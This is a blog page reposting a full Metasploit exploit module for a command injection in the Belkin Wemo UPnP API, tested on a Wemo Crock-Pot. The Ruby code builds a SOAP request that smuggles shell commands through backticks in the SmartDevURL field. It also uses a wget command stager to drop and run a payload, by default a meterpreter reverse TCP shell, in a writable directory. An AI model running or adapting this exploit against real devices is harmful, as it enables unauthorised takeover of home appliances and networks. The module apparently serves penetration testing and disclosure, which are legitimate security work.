Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392976

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

V##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Belkin Wemo UPnP Remote Code Execution',
      'Description'        => %q{
        This module exploits a command injection in the Belkin Wemo UPnP API via
        the SmartDevURL argument to the SetSmartDevInfo action.

        This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
        devices are known to be affected, albeit on a different RPORT (49153).
      },
      'Author'             => [
        'phikshun', # Discovery, UFuzz, and modules
        'wvu'       # Crock-Pot testing and module
      ],
      'References'         => [
        ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'],
        ['URL', 'https://github.com/phikshun/ufuzz'],
        ['URL', 'https://gist.github.com/phikshun/10900566'],
        ['URL', 'https://gist.github.com/phikshun/9984624'],
        ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
        ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
        ['URL', 'http://www.wemo.com/']
      ],
      'DisclosureDate'     => '2014-04-04',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_MIPSLE],
      'Privileged'         => true,
      'Targets'            => [
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'DefaultOptions' => {
            'PAYLOAD'      => 'cmd/unix/generic'
          }
        ],
        ['Linux Dropper',
          'Platform'       => 'linux',
          'Arch'           => ARCH_MIPSLE,
          'Type'           => :linux_dropper,
          'DefaultOptions' => {
            'PAYLOAD'      => 'linux/mipsle/meterpreter_reverse_tcp'
          }
        ]
      ],
      'DefaultTarget'      => 1,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'SideEffects'      => [ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(49152)
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',  [true, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/setup.xml'
    )

    if res && res.code == 200 && res.body.include?('urn:Belkin:device:')
      vprint_good('Wemo-enabled device detected')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    checkcode = check

    unless checkcode == CheckCode::Appears || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        flavor:   'wget',
        temp:     datastore['WritableDir'],
        file:     File.basename(cmdstager_path),
        noconcat: true
      )

      # HACK: "chmod +x"
      cmdstager.unshift("cp /bin/sh #{cmdstager_path}")
      cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') }
      cmdstager = cmdstager.join(';')

      vprint_status("Regenerated command stager: #{cmdstager}")
      execute_command(cmdstager)
    end
  end

  def execute_command(cmd, opts = {})
    send_request_cgi(
      'method'       => 'POST',
      'uri'          => '/upnp/control/basicevent1',
      'ctype'        => 'text/xml',
      'headers'      => {
        'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
      },
      'data'         => generate_soap_xml(cmd)
    )
  end

  def generate_soap_xml(cmd)
    <<EOF
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
      <SmartDevURL>`#{cmd}`</SmartDevURL>
    </u:SetSmartDevInfo>
  </s:Body>
</s:Envelope>
EOF
  end

  def cmdstager_path
    @cmdstager_path ||=
      "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}"
  end

end